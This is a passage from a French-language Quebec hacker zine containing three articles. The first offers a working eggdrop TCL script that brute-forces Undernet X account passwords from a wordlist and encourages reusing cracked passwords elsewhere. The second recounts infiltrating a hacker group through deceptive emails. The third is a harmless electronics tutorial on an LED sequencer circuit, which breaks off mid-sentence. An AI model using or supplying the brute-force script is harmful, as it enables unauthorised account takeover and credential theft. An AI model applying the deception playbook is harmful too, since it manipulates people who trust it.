n'aurez pas besoin de eggdrop pour runner. (Bref un vrai programme et non pas un script comme presentement). Mais celui ci ne requiere que un access a irc pour etre utilise si vous avez un egg qui run a quelque par. Une protection a aussi ete integrer afin que le script ne sois utilisable que par les user du eggdrop, donc personne que vous connaissez pas ira jouer avec ca et voler votre precieux temps. Et personne viendra non plus saturer les egg de mindkind de request :]. fonctionnement. 1) laoder le script 2) installer une word list nomme dictio.txt dans le sous repertoire database (creer le sous repertoire pcq vous l'avez surement pas) 3) allez sur irc 4) taper /notice eggdrop !lockpick login ou eggdrop correspond au nom de votre eggdrop et login a la personne que vous voullez prendre laccess. A et joublais beaucoup de gens on les meme password sur X que sur leur box linux ou leur hotmail, maybe :]. X nous facilite la tache en nous indiquand si le login est bon ou non. bref c'est une peu comme avoir une parti du /etc/passwd d'un bon 5000 personne a portee dla main. bon, comme il se pourrais que le scan cesse pour diverse raison que j'ai pas prevu, j'ai fait une commande qui permet de reprendre la ou ca avait arreter. /notice eggdrop !lockpick login continu bon, si votre scan arrete de fonctionner sans raison apparante, vous pouvez utilise cette commande pour le restarter, mais avant vous aurez a faire sois un .rehash du egg ou un .set inuse 0 . car sinon le eggdrop croiras qu'il est toujours entrain de scanner (genre yattend la reponse de x (qui viendra jamais)). La variable est la pour empecher que l'on start 2 scan en meme temps (evidament vous pouvez fucker le tout en fesant un .set inuse 0 pendant que le scan fonctionne et en starter un nouveau, mais bon, jai pas patcher le code contre l'extreme stupiditer humaine. jvous offre de quoi qui marche, utiliser le comme du monde, J'ai pas envie d'etre responsable pour tout les imbecilles qui pourrais avoir access a votre egg (car oui, on a besoin d'un access au egg pour utilise le script (comme dit plus haut). --------------------------------cut here-------------------------------- # X-Drill 1.5 (we learn from stupid move) # yet another useless (but not less funny) Wyzeman production # keep away from parent's bind notc - * main bind raw - * netsplit set inuse 0 set login "uber" set asker "uber" set netsplit 0 proc main {nick host hand phrase} { global inuse global login global asker set phrase [string tolower $phrase] set verify [finduser $nick!$host] if {[string match !lockpick* $phrase]} { if {$verify != "*"} { if {$inuse != 1} { if {[string match *continu* $phrase]} { set asker "$nick" set inuse 1 set login [lindex $phrase 1] bf2 $login putserv "NOTICE $asker :scan restart for $login" } else { set asker "$nick" set inuse 1 set login [lindex $phrase 1] putserv "NOTICE $asker :scan started, take a beer (or a lot) and wait" set pass [open database/dictio.txt r] set pass2 [open database/dictio.bak a+] set password [gets $pass] while {![eof $pass]} { set lines [gets $pass] if {[string match $password $lines]} { } else { puts $pass2 "$lines" } } close $pass close $pass2 putserv "PRIVMSG x@channels.undernet.org :login $login pass $password" } } else { putserv "NOTICE $nick :device already in use by $asker" } } else { putserv "NOTICE $nick :you are not alowed too use this" } } elseif {[string match *authentication*failed* $phrase]} { bf2 $login } elseif {[string match *authetification*successfull* $phrase]} { set pass [open database/dictio.bak r] set password [gets $pass] close $pass file delete database/dictio.bak putserv "NOTICE $asker :le password de $login est $password" set inuse 0 } elseif {[string match *i*don't*know*who* $phrase]} { putserv "NOTICE $asker :le user $user nexiste pas" set inuse 0 } } proc netsplit {from keyworld arg} { global netsplit global asker global login set keyworld [string tolower $keyworld] set from [string tolower $from] if {$from == "x!cservice@undernet.org"} { if {[string match *no*such*nick* $keyworld]} { if {$netsplit == 0} { set netsplit 1 bind time - "?5 * * * *" checking putserv "NOTICE $asker :X n'est plus la, brute force en attente" } } else { putserv "NOTICE $asker :X est revenue ,le brute force recommence" set netsplit 0 unbind time - "?5 * * * *" checking bf2 $login } } } proc checking {min hours day mounth years} { putserv "PRIVMSG X :blabla" } proc bf2 {login} { set pass [open database/dictio.bak r] set pass2 [open database/dictio2.bak a+] set password [gets $pass] while {![eof $pass]} { set lines [gets $pass] if {[string match $password $lines]} { } else { puts $pass2 "$lines" } } close $pass close $pass2 file delete database/dictio.bak file rename database/dictio2.bak database/dictio.ba putserv "PRIVMSG x@channels.undernet.org :login $login pass $password" } putlog "X-drill 1.5 by Wyzeman laoded" --------------------------------cut here-------------------------------- bon, ya pas de copy right ou de trade mark, alors faite en s'que vous voullez. Si vous faites des modification interressante, j'aimerais que vous m'en fassiez par (jsuis curieux :]). Si vous codez en tcl et que vous avez rien a faire, vous pouvez toujours envoyez un echantillons de sque vous etes capable de faire a mindkind@mindkind.wox.org et jvous laisse deviner la suite. .-----------------------------------------------------------------------. | | '-----------------------------------------------------------------------' ca va etre etrange hey la gagn de mindkind prenez un log de moi qui parle et faites un article avec ca .--. .----------------------------------------------------------------/ /--. | / / | | Gros LAF pour perdre du temps / / 14 | | / / | '------------------------------------------------------------/ /------' '--' Vous debutez une soirée de enhanced glanding quand tout a coup un dangereux manque de sensations fortes vous pousse a installer linux pour faire comme MafiaBroil, dukeharvester et compagnie et smurfer la grand mere qui habite devant cher vous parce quelle pompe tout le jus de votre modemcable avec son Mature pr0n ? Hey bien Attendez ! jai la solution a vos problèmes, si on inflitrait le tout nouveau 31337 Cr3w de la scène pour s'ammuser un peu. Biensur il sagit d'une Moove extremment lame donc vous devriez demander la suppervision d'un 31337 (binf ou g463). --[ NOTE. oubliez pas de lire la fin de larticle. ]-- - Guide Of Cr3W H4X0R1Z1nG - ---------------------------- Necesaire : 1. un Crew d'31337 2. un Email @altern.org Marche a suivre : Note : assurez vous de bien choisir votre crew car vous pourriez tomber sur un vaporcrew, le genre de crew qui dure au moin 1 grosse semaine. Pour les besoin de la cause jai choisit MATRAC, Un crew d'elite qui ont ripper les photos de putois (oui oui je plaide ta cause) et qui distribue des truc l33t sur leur site comme des useless firewall pour win32 et des prog du genre Back Orifice 2000 et 7th sphere portscan. Premierement il fallais me faire accepter dans leur clan. Comme ces crew sont souvent basé sur rien, il est souvent tres facile de se faire accepter. Allez a votre boite e-mail altern et composez un mail du genre : --------- Emeteur : dogtoor@altern.org (pour les pas-vite: dogtoor = root/god hahaha) destinataire : root@matrac.org Message : Salut, je suis tres interesé par votre offre de recrutement. je suis hacker depuis au moin 3 ans et je manipule linux depuis 1 ans. Je programme en C , TCL , VB et en Html. jai aussi de vastes connaisances en resautique unix. --------- Maintenant vous devez attendre. Soit vous esayez de hax0r1z3r leur radio pour passer des messages erotiques a leur 2 auditeurs ou vous oubliez sa tout simplement et vous retourner a vos occupations standar. Par exemple, g463 retourne coder des anal shellcode pour biensur les penetrer (haha esti, humour overflow). 3 jour plustard vous recevez un reply du genre -------- salut cest exactement du monde comme tois que l'on cherche ! personelement faut je lavoue tes meuilleur que moi !! en ce qui me concerne je me concentre beaucoup sur le hacking (telnet,ftp,tcp/ip) et la sécurité internet et je commence sous linux depuis peu. J'ai aussi de bonnes connaisances en HTMl maintenant jaimerais te poser quelques questions: Quest ce qu'un lame pour tois? Quel est ton objectif dans le mionde du hacking? Quel est ton nick ? (redirection de mail) tu vis au quebec ou en france? bon maintenent on y va pour les reglements: 1-pas de chosses lames (trojans,O.o.b,Mailbomb) 2-Respect envers les autres membres 3-posseder une distrib de linux ou un autre system unix. 4-vouloir aprendre toujour plus (c'est notre but premier) bon c'est asser tout pour ca donc j'espère que l'on fera bonne equipe FormATT ------- Biensur vous prennez le temp de rire comme un malade. allez-y.... ok c assez.. ha pis non on rit encore ..... hahaha ..... Bon stop. La sa commence a etre encore plus bretteux, visitez leur forum si il en ont un et esayez de vous montrer interressé par ce qui se passe. Pendant l'ecriture de cet article le focus etais tombé sur 2 membres qui cetais fait virer, il est donc normal de sinteresser a tout ce que ces 2 membres naiment pas. Bon on va composer un mail qui va nous permetre de spammer des truc a la foix sur leur forum et dans leur radio. voici ce que sa donne. ------------- Salut formatt. Cesse de te rabaisser en disant que tu est moin bon que moi hehehe. j'ai pas encore fait mes preuves. Voici les reponses a tes questions : 1- je ne croit pas avoir de definition dun lame sauf que. par exemple sur votre forum. il semble que ce qui se raproche a des lame essaie de vous embeter. (horus & cie) 2- je nai pas dobjectif precis dans le monde du hack puisque jarrive facilement a hacker tout ce que je veut. mon but est simplement de participer dans matrac pour le plaisir et fournir de laide si nessesaire. 3- Mon nick est dogtoor mais je ne vient pas souvent sur irc par ailleur je ne possede pas icq par paranoya. 4- je vit au quebec. pour les reglements je croit que je suis OK car je possede une machine qui tourne sous slack 7.1. Jaurais moi aussi des question. 1- jaimerais etre dj pour votre radio. est-ce possible ?. 2- avez vous un chan irc et si oui sur quel resaux. 3- quand est-ce que je commence ? :) hehe. jattend ta reponse. DogToor ------------ La on atend encore :(. Jai profiter du mail pour esayer de me faire recruter dans la radio. comme sa je pourrai spammer des truc de mindkind lors de la sortie du zine. on va bien rire :). Houra. 15 min plustard on recoit une reponse : ------------ Hehe c vrai que Horus et cie. sont un paquet de trouble: ils sonts fru paske je le ais sacrer a la porte c po de ma fote si cest des lamers :) C'est surprenant de t'entendre dire que tu peux hacker tout ce que tu veux! cest pas tout le monde qui se permettent de dire ca ! Donc comme je te dis nottre but premier est d'apprendre donc dans ton cas tu pouras bien nous aider. Tu n'auras pas a ecrire des textes ou des zines pour nous ou les autres Seulement su des gens te demandent de l'aide tu te dois de les aider Tu nauras pas besion de te servir de icq ou d'autres connerie comme Msn mesenger en raison des multiples failles (Buffers overflow ect.) Par contre nous utilisonts beacoup irc et si tu n'aime pas ca il faudras t'i habituer :) Server: Dalnet Chan #matrac Bien sur que c'est possible pour la radio mais tu dis tout ca a AArnaud contacle le a : radio@jeux-video.org (en passant c un francais) Quand ece que tu commence: hehe voila une bonne question tu n'a pas vraiment de projects a commencer puisque que on ne fais que apprendre et parfois on essaye de hacker des servers ou d'en trouver d'éventuelles failles. Donc si tu conais a peu pres tout en hacking tu pourais nous aider afin de tous nous faire monter ne niveau. Maintenant que tu est membre Je vais te faire un mail de redirection sa sera: dogtor@matrac.org et tu menverra un pass pour avoir un acces a ton accunt a la section private members. Formatt --------- Donc en gros on est maintenant des membres en regles. je reply un truc du genre --------- password : ?5DF4RD4FFR$f$$FRE666dogtoor34 jvais venir vous visiter sur votre chan le plus souvent possible. et pour les articles je veut bien ecrire pareil. --------- Maintenant le thrill cest de se faire accepter dans la radio. parce que sa va etre beaucoup plus drole :). donc on envoit un message a radio@jeux-video.org pour lui expliquer comment on laime et combien on aimerait faire partie de sa radio. Voici ce quon lui ecrit : --------- Salut Aarnaud. Je suis un nouveau membre de matrac et jadore ce que tu fais pour la radio c vraiment sympa. formatt ma referé a toi parce que je veut donner mon nom pour faire le dj aussi. biensur je tariverai pas a la cheville mais :) heehe. Repond moi. ! Dogtoor. --------- A noter l'utilisation du mot "sympa" qui adoucit 88% des francais (./frsploit) et encore une fois on essaie de vanter le gars a lautre bout. ce qui me rapelle une citation de wyzeman "le meilleur moyen de faire accepter une idée aux autres cest de leur faire croire quelle vient d'eux". hehe. Entre temps il faut aller sur leur chan et devenir leur amis. Comme on est sur dalnet pas besoin de wingate puisque moi je me tien sur undernet donc pas de chance qu'un futé fasse un /who. ("Note : The Joy of pepsi (pub gratuite)\n"); --------- 5 jour plus tard. Finnalement on va conclure ici. Parce quil fait beau dehor pis j'ai un autre article sur la crypto (voir minkind #2) a commencer. Jaimerais faire un "a propos de cet article" : Vous etes surement en train de vous dire que cest l'article le plus lame du zine et meme de tout les zine qui ont pu sortir cette année mais.. ATTENDEZ. On va faire un modprobe -v QI et reflechir une deuxieme fois sur le fait que j'ai reussi a aplique une technique de social engeniring a une chose totalement insignifiante. En effet cetais le meilleur moyen de parler de social eng sans recopier les 10k darticles deja parru sur le sujet. j'aurais bien fait sa avec une compagnie mais trasher a -20c pour avoir des info c pas evident. :). See - ya. .-----------------------------------------------------------------------. | | '-----------------------------------------------------------------------' on aurais ben eu une quote, mais on est allee marchee dans le bois, fak on en a pas :] .--. .----------------------------------------------------------------/ /--. | / / | | L'electronique in a ledshell / / 15 | | / / | '------------------------------------------------------------/ /------' '--' Et non, dans mon prochain article vous n'apprendrez pas à hacker la planète, désoler. Donc il vous faudra voir la chose comme un initiation au développement intellectuel. Comme je voulais vous faire passer une connaissance sur le fonctionnement basic de quelques composantes électroniques, j'ai jumelé plaisir, éducation, travail et temps a concevoir un petit cossin et ce dans le seul but de vous montrer son fonctionnement. Donc aujourd'hui je vous présente pour la 1er fois, et sûrement pour la dernière, un petit projet simple, en somme, il s'agit de faire allumer 25 lumières les unes après les autres. Simple non? Alors voyons un peu plus le principe derrière tout ca. Tout d'abord il faut un but, dans ce cas ci, le but est de faire allumer successivement 25 lumières. En plus, on veut être capable de faire varier la vitesse de défilement des dites lumières et, comble de mal chance, les lumières ne devrons faire qu'une seule fois la séquence complète (25 allumages). Alors une fois qu'on a ces informations en mains, on doit savoir comment on va parvenir à ce résultat. On peut fabuler, penser à des méthodes ridicules.. très ridicules extraordinairement ridicules.. peu importe, il nous faut une idée! Ici comme en programmation, on sent que l'expérience ou la connaissance, apporte l'avantage de crée un résultat final plus petit, avec moins de cossins aux alentours. Mais la ou la différence est assez marquante, c'est qu'en électronique, il est difficile d'optimiser une fois que la base est en place! Dans ce cas ci, j'ai opté pour la diversité, je vais donc utiliser plusieurs composants qui ont des fonctions propres à chacune. En gros, voici les sections qui seront utilisés: Section 1: L'alimentation. Bien sur il nous faut pouvoir alimenter notre cossin avant tout. Cette partie peu complexe mais essentiel! Dans le cadre de notre projet, le circuit de contrôle sera alimenter à 5v (comme la plus part de ces circuits) ensuite on doit déterminer la source à la quelle on veut raccorder le montage (120v,240v,12v,35v etc..) Dans le cas d'une alimentation alternative (120v,240v) le circuit d'alimentation aura besoin de comporter une rectification du courant (donc un peu plus complexe). Section 2: Le Compteur. Comme nous devons faire une séquence de 25 lumières, le tout à une vitesse variable, j'ai utilisé un chip oscillant (une clock) ainsi qu'une autre puce qui me sert à crée un nombre binaire (décodable) Section 3: Signaux d'allumage. Grâce à notre nombre binaire Cree à l'étape 2 et à l'aide de deux chips de décodage (des démultiplexeurs) on aura nos signaux qui seront aptes à faire allumer nos ampoules. Section 4: Afin d'allumer adéquoitement les lumières, on utilisera à répétitions des transistors. Avant de commencer, voici les composantes importantes du projet. ;Compteur 555 (un grand classique) Ce chip n'a qu'une seule utilité, crée un signal oscillant. L'onde carre qui en sortira est essentiel à l'activité du circuit (en somme, on peut voir ce system comme la clock de votre PC!). Il s'agit d 'un chip de 8 pins. ;Compteur double 4 bits. (74LS393) Ce circuit contient deux compteurs binaires 4 bits : 0000 0001 .... 1110 1111 Bon en fait avec ce type de compteur on peut atteindre 16 états différents par compteur, (et on en a 2). Comme on a 25 ampoules à faire allumer, on devra utiliser ces deux compteurs en cascade (la sortie de l'un dans l'entre de l'autre). 3210 Bits ~~~~ 0000 États 1111 Dans ce cas ci, le bit le plus significatif est le bit #3, car il est celui qui variera le moins. En somme les autres bits varierons plusieurs fois avant de faire varier le 3e. Il est facile de voir que le changement de bits va de paire avec le signal de la clock, plus celle-ci vas vite, plus le compteur ira vite à son tour. Le chip qui compte à une entre pour la clock, c'est la qu'on y racodera la sorti oscillante du 555. Cette entrée de la clock marche avec les variations des états de l'onde care qui est fournie par le 555. En somme, il faudra deux coups de clock du 555 pour que la sortie du bit 0 du compteur change d'état. Et le même phénomène se produit encore entre les autres bits : Le bit 1 ira deux fois plus vite que le bit 2. Le bit 2 ira deux fois plus vite que le bit 3. Et le bit 3 sera 4 fois plus lent que le bit 0. Il suffit d'énumérer les nombres binaires a partir de 0 à une fréquence régulière pour s'apercevoir du phénomène! Donc comme on a besoin de plus de possibilités de décodage qu'un seul compteur nous offre, il nous faudra linker un autre compteur au premier (ca tombe bien, le chip qui compte en possède justement deux!) Alors la méthode simple c'est de prendre la sortie la plus significative du premier compteur et l'envoyer dans la clock du 2e compteur. En somme, comme l'entrée de la clock prend deux coups du signal pour Switcher d'état, le bit 0 du 2 e compteur sera deux fois plus lent que le signal de la clock,donc du bit le plus significatif du 1er compteur. Il vous faut un exemple : Compteur2 Compteur1 ~~~~~~~~~~~~~~~~~~~~~~ 3210 3210 | Bits ~~~~ ~~~~ 0000 0010 Compte fictif ... ... Le temps passe. 0000 1111 Le 1e compteur atteint son maximum 0001 0000 Le 1e compteur se reset, recommence et le 2e compteur lui s'incrémente de 1. ... ... Le temps passe. 0001 1111 Le 1e compteur atteint son maximum 0010 0000 Le 1e compteur se reset, recommence et le 2e compteur lui s'incrémente de 1 et atteint la valeur suivante. En somme ici, on se trouve non plus avec un compteur 4 bits mais avec un compteur 8 bits. Compteur2 Compteur1 ~~~~~~\\\\~~////~~~~~~ 7654 3210 | Bits Jumelés ~~~~ ~~~~ 0000 0000 Ce nouveau compteur ainsi crée nous offrions alors 256 possibilités. Ce qui est suffisent, tellement que nous allons seulement prendre le bit 0 du 2e compteur et les 4 bits du 1er compteur.. ce qui nous porte à 32 possibilités (pour nos 25 lumières): 00000 00001 00010 ... 11110 11111 Une dernière spécification de ce compteur, il possède 14 pins, chaque cote correspond à un compteur donc 7 pins. Sur ces 7 pins, 1 sert de clock, 4 servent de bits de sortie et une à l'alimentation. Il nous reste donc une pin seule, et cette pinest un ENABLE. Quand le voltage sur cette pin est à 0v, le compteur compte normalement, mais si un niveau logique 1 (5v) est appliqué à cet endroit, le compteur arrête de compter, et se reset au compte 0000. Il reste la temps que la ligne est à 5v. Si elle redescend à 0v, le compteur repart alors. Cette ligne sera très utile si on veut arrêter le compteur, comme dans notre cas après la 25e et dernière lumière. ;Demultiplexeur 4bits (74LS154) Une autre merveille technologique,ce chip qui possède 24 pins, sert à prendre un compte binaire 4 bits et à le redistribuer à la ligne associer. par exemple si le compte binaire = 0101 il s'agit du chiffre 5, donc la pin 5 du chip switchera au niveau logique bas, tandis que toutes les autres lignes seront à un niveau logique haut (1)(5v). Sur ce chip, comme il s'agit d'un démultiplexeur 4 bits, on retrouvera 16 lignes (possibilités) qui pourront être activée. On retrouve 16 lignes (possibilités) + 4 lignes (entré du compte binaire) = 20 pins, + 2 pins d'alimentation = 22 pins. Les deux autres pins qui restent sont, comme dans le cas du compteur, des ENABLE qui active ou désactive le décodage. ;Transistors 3906(PNP) Un transistor est un élément à 3 pattes qui sert essentiellement (dans notre cas) d'interrupteur. Les lumières qu'ont veut allumer sont alimentés à 12v, et à la sortie de notre démultiplexeur, on a que 0v ou 5v. De plus, le démultiplexeur n'est pas fait pour fournir beaucoup de courent. On passera donc par un transistor. Les transistors sont des composantes qui amplifie le courent de sortie à l'aide d'un gain (facteur propre à chaque transistor). Dans notre cas, on utilisera le transistor au maximum (FULL CONDUCTION) ou à l'arrêt.Il existe deux types de transistors: NPN et PNP.Les deux se ressemblent beaucoup, mais dans le cas du montage pressent, on veut fournir un voltage (12v) à une lumière qui sera relié au ground. Et le signal qui fera en sorte d'activer le tout est un signal de 0v qui nous sera fournit par le démultiplexeur. Chaque transistors est composé de 3 pattes, l'une est appelé la BASE et joue le rôle d'un interrupteur. Une est appeler l'EMETEUR et est la source du courent qui sera utilise, ici notre source est le fameux 12v. Pour finir la dernière patte est le CONNECTEUR sur lequel est connecter la "chose" à alimenter! Comme le transistor marche avec le courent, il lui faut une résistance à sa BASE. Bon après cette brève description, voici en détail les sections: Section 1:L'alimentation. Le circuit fonctionnera dans ce cas ci à 12v. Les transistors seront directement alimenter sur ce voltage. Pour abaisser le voltage à 5v (pour nos circuits de contrôles) on utilisera un régulateur: 7805 ( ce dispositif permet, comme un transformateur, d'abaisser la tension, mais contrairement au transformateur il occupe beaucoup moins de place.) La pin du centre est la pin du ground, que l'on vas relier au ground de la source de 12v. la pin 1 est la pin de l'alimentation source (donc le 12v) et la pin 3 est celle de l'alimentation de sortie (en théorie 5v). Avec le lien de 5v, on alimentera toutes les chips. _____ |o o o| Vue de dessous, (en fait les pins de cette ~~~~~ façon devrait vous crever les yeux!) 1 2 3 la :" ~~~~ " représente la partie en métal (dissipateur). Une dernière note sur le 7805, il est normal que celui-ci chauffe, par contre si vous vous brûlez dessus avec un circuit comprenant peu de composent, vérifier vos branchements. Ce petit chip n'est pas conçu pour réchauffer une maison,mais le simple fait de relier les pins 2 et 3 (cours circuit).. aurait comme conséquence un dégagement d'énergie susceptible d'atteindre les 120 degrés celcius. Si par contre en rajoutant des composantes il augmente en température, n'ayez pas peur, rajouter lui simplement un Heat-sink. (et oui comme pour les CPU). Ce cossin peut driver 0.5 Ampères sans Heat-sink, mais par expérience, à 0.5 Ampères, je me brûlait les doigts dessus alors si vous voulez attendre le 1 Ampère (théoriquement le maximum) il vous faudra absolument un de ces dissipateur! Section 2: Le Compteur. L'oscillateur 555 se plug comme suit: 555 _____ Alim.Gnd --|1 8|-- Alim.Vcc (5v) Pot pin 1 --|2 7|-- Pot pin 2 + Résistance 1k avec le Vcc (5v) Clock --|3 6|-- Condensateur 10uF au Ground + Pot pin 3 Vcc(5v) --|4 5|-- Condensateur 1pf au Ground `~~~~~` Les mentions "Pot" font référence à un potentiomètre, en somme une résistance variable (200k) qui servira à faire varier la vitesse de la clock (un espèce de orverclock mais contrôler!) La pin 1 du potentiomètre est le début de la résistance,la pin 2 est la pin "variable" et la pin 3 est la fin de la résistance. Potentiomètre classique: _______ | _ | | (_) | |_______| | | | 1 2 3 Bon commencez par brancher le 555 adéquatement en vous servant de l'alimentation que vous fournis le 7805 ( régulateur ) et si une oscillation se passe à la pin 3 du chip, tout va bien! Si avec votre multimètre (en mode Voltage) vous avez de la difficulté à bien voir les changements, n'hésiter pas à brancher une LED avec une résistance de 470 ohms au ground.Oublier pas qu'une LED ca la un sens!, prenez donc cette LED et placer la devant une lumière, à l'intérieur vous verrez deux bouts de métal séparer l'un de l'autre, le bout le plus gros est la partie négative, donc vous devez la relier au Ground. Vous devriez voir un beau flip flash. tien une belle utilité pour des systèmes anti-vols bidons). Bon dans cette même section on a aussi le chip qui sert à compter en binaire (74LS393). Le branchement est assez standard, en fait il s'agit de trouver l'encoche sur le boîtier du chip pour savoir ou se trouve la pin 1. 14 12 10 13 11 9 8 /_/_/_/_/_/_/ Remarquer que le petit trou : o | 74LS393N | Indique la pin un. Le restes des pins se |o___________| décode comme sur l'exemple à cote! \ \ \ \ \ \ \ Donc on voit un espèce de lecture des pins 1 2 3 4 5 6 7 en U. Ce qui veux dire que la pin 1 est toujours en face de la pin la plus élever. (Vue du dessus bien sur!) Dans ce cas ci: 14. Un autre truc, si vous pouvez lire le numéro de série du chip, (a l'endroit) très souvent la ranger sous l'e numéro est la 1er, donc la 1er pin à gauche et la pin #1. Une fois cette nomenclature passer, je reviens sur le fait que ce chip est assez "standard" en se sens que la plus part, de circuit logiques (pas tousje dirais 85%) on leurs alimentations aux pattes des extrémités. Soit la dernière patte en bas de la 1er ranger et la dernière patte du chip. (dans ce cas ci : les pattes 7 et 14) dans la 1er série de pins (ou se trouve la 1er) la dernière pin (pin 7) est alimenter au ground (0v), tandis que la dernière pin du circuit est alimenter au Vcc (5v). Sur ce chip la, la pin 1 est l'entrée de la clock (que nous fournie l'oscillateur 555) Bon le branchement est assez facile, vous prenez-la sortie de clock du 555 et vous la relier à la pin 1 de ce chip! Je vous ai spécifier précédemment que ce circuit comprenait deux compteurs binaires de 4bits. Et ces merveilleux, car le design du chip fait en sorte que ces deux compteurs occupent chacun une partie du circuit (un les pins 1 à 6) et l'autre (les pins 8 à 13). Bon les pins 2 et 12 servent de ENABLE, sur un niveau logique haut (5v), le compteur associer (le 1er ou le 2e) sera forcer au compte Zéro (0000 en binaire). Cette option est utile pour arrêter le compteur mais pour nos test et la fonctionnalité du circuit bin vas falloir placer les linges 2 et 12 au Ground (0v) ce qui aura comme effet de mettre le compteur actif. Les lignes 3,4,5,6 sont respectivement les sorties binaires 0,1,2,3 (ou 0 est le moins signifiant et 3 le plus signifiant). Ces pins nous seront utiles tout à l'heure, pour le moment notez seulement que la pin #6 (bit 3) (donc le plus significatif), servira de clock pour le 2e compteur, donc la pin #6 sera relier à la pin #13. Ceci aura comme effet de crée uncompteur 8 bits avec deux compteurs 4 bits. (tel qu'expliquer plus haut). Et voila cette partie est terminer, si vous voulez tester votre montage (du moins ce qui est fait à présent), c'est simple: Placer une LED sur le signal de la clock (comme je vous avais suggérer plus haut) Une fois que celle-ci flash, ajuster la vitesse avec le potentiomètre, de façon à bien voir les transitions. Ensuite avec votre multimètre (toujours en Volt) aller voir les données (aux pins 3,4,5,6,11,10,9,8. Celles-ci devraient s'incrémenter (suivant la logique binaire). Comme il c'est pas très visuel, si vous voulez être sur du bon fonctionnement du compteur, faite comme pour le signal de la clock du 555, relier une résistance de 475ohms à une LED qui sera reliée au ground (0v). Vous devriez alors voir les nombres binaires sous forme de lumière! Un dernier conseil, si le compteur compte tout croche, mettez un condensateur de 0.1uF entre le Ground et le VCC qui alimente le chip, il semblerait que celui-ci soit assez sensible aux petites imperfection dans le voltage d'alimentation. Section 3: Signiaux d'allumage. Afin de générer les signaux qui allumeront nos 25 lumières, nous aurons besoins de décodeur binaire (demultiplexeur). ( Putin shu sur qui a personne qui me lis.. faite moi le savoir si je fais ca pour rien ma arrêter la!)... Donc je vous suggère de relire plus haut les spécifications de ce chip, question de pas me répéter et de prendre 1k de plus sur votre HD! Bon, alors en premier lieu on va devoir crée un bus de donnée de 4bits (et oui je sais que votre PC en possède beaucoup plus mais c'est pas une raison pour renier le principe!) Ce bus est facile à faire, en fait il est déjà présent à la sortie du compteur 4 bits, soit les pins 3,4,5,6. Un simple exemple suffirait à vous convaincre: brancher ces 4 pins aux endroits approprier sur le demultiplexeur 4bits, ou les pins 23,22,21,20 sont respectivement les bits 0,1,2,3. Donc il vous faudra suivant cette logique relier les pins comme suit : Compteur Demultiplexeur PIN PIN 3 ---------------------> 23 4 ---------------------> 22 5 ---------------------> 21 6 ---------------------> 20 Suite à cette difficile opération, relier les pins 18 et 19 du demultiplexeur au Ground, ces pins servent toutes deux de ENABLE, quand le signal est à 5v (1 logique) le chip ne décode pas les signaux qui lui son appliquer tandis qu'a 0v (0 logique) le système est activer. Après cette périeuse manoeuvre, activer le circuit que vous avez fait j'usqu'à présent. (J'espère pour vous que vous avez déjà tester la fonctionnalité des sections précédentes. Donc en théorie votre compteur devrais transmettre un compte binaire 4 bits au démultiplexeur et celui-ci devrais activer ses pins de sortie en fonction du code appliquer. Un simple test à effectuer pour bien comprendre le principe: débrancher le bus d'avec le compteur. Ensuite appliquer un nombre binaire de façon manuel. Par exemple en mettant l'entrée de la pin 23 à 0v, 22 à 5v, 21 à 5v et 20 à 0v. on obtient le nombre 6 (0110).. ensuite aller à la pin 6 du chip, celle-ci devrait être à zéro car le chip est actif sur des niveaux logique bas (0v). Bon si après avoir brancher le tout,vous été capable de "décoder" 16 signaux de façon répétitive, tout va bien! Passons alors à l'étape suivante.. pour les autres, c'est une question de débugguage qui faudra sûrement venir m'expliquer! Bon on pourrait faire allumer 16 lumières, mais on voit plus grand! Alors vas falloir faire de notre bus à 4bits un bus à 5 bits afin d'avoir la possibilité d'adresser 32 différents états! Pour se faire, comme le chip ne comporte que 16 sorties possibles il va nous en falloir un second. Mais vous savez déjà que ce même chip ne dispose seulement que de quatre entres pour les données!.. Et non cinq! Un tweek sera donc nécessaire. La sortie du 2e compteur (pin 11) qui se trouve à être notre 5 bits car nos deux compteurs son relier ensemble.De cette pin 11 la on relira un fil directement à la pin 19 du 1er demultiplexeur. Et de cette même 11 du compteur on passera par un inverseur logique, et la sortie de cet inverseur ira à la pin 19 du 2e demultiplexeur. Ce qui aura pour effet de permettre un "switch" des deux puces de décodages. Comme la pin 19 sert de ENABLE et qu'elle est active à un niveau logique bas (0v) quand le compte commencera, le bit 5 sera à 0v, ce qui activera le 1er demultiplexeur, tandis que le second sera inactif, car ce même bit 5 sera inverser, ce qui aura comme conséquence qu'à la pin 19 du 2e demultiplexeur on aura un niveau logique haut (5v). Par la suite, quand le compte atteindra 16 (10000) le bit 5 sera à 1, donc le 1er demultiplexeur sera désactiver mais et le second par contre s'activera. En somme les deux chips auront le MEME bus de 4 bits (qui viens du 1er compteur), mais ils décoderont à tour de rôle chacun une partie. Donc passons à l'inverseur: L'inverseur est un 74LS04, ce type de puce est un très grand classique et son fonctionnement est des plus élémentaire! : 14 12 10 13 11 9 8 /_/_/_/_/_/_/ Remarquer que le petit trou : o | 74LS04N | Indique la pin un. Le restes des pins se |o___________| décode comme sur l'exemple à cote! \ \ \ \ \ \ \ Donc on voit une espèce de lecture des pins 1 2 3 4 5 6 7 en U. Ce qui veux dire que la pin 1 est toujours en face de la pin la plus élever. (Vue du dessus bien sur!) Dans ce cas ci: 14. Comme il s'agit d'un classique, l'alimentation se trouve à la pin 14 (5v) et à la pin 7 (0v). Le reste des pattes est très simple, la pin 1 est l'entrée la pin 2 est la sortie. Et ainsi de suite: 3=IN, 4=OUT 5=IN, 6=OUT 9=IN, 8=OUT 11=IN, 10=OUT 13=IN, 12=OUT Le principe est simple, si on applique 0v (niveau logique 0) à une entre, la pin de sortie qui lui est associer sera à 5v (niveau logique 1) et vice versa. D'où le nom INVERSEUR! Si on revient à notre montage, on part donc un fil de la pin 11 du compteur directement vers la pin 19 du 1er multiplexeur, et cette même pin 11, on la relie à la pin 1 de l'inverseur. Par la suite, on prend la sortie (pin 2 de l'inverseur) et on la relie à la pin 19 du 2e demultiplexeur. Donc cette fois si tout est près, mettez le jus, pis checker si les deux demultiplexeurs décode les signaux à tours de rôles. Vous pouvez aussi vous servir de la méthode "Manuel" d'on j'ai parlé plus haut! Section 4: Driver les lumières. Comme notre circuit logique qui fait la job "logique" fonctionne seulement à 0-5v, va nous falloir du jus plus élever pour faire allumer nos tites lumières! Pour ce faire, on va avoir besoin de petits transistors! Avant des plugger toute suite, on vas commencer par voir comment ça marche! -=[Transistors PNP]=- Connecteur 12v Vcc _____ ___@___ GND .\__/ Emeteur | Base @ = Lumière! < > <-Résistance < | Afin d'enclencher la conduction du transistor pour allumer la lumière, il nous faut drainer du courrant dans le cas d'un PNP. En somme, c'est un peu comme si on permettait à un petit courent de passer de 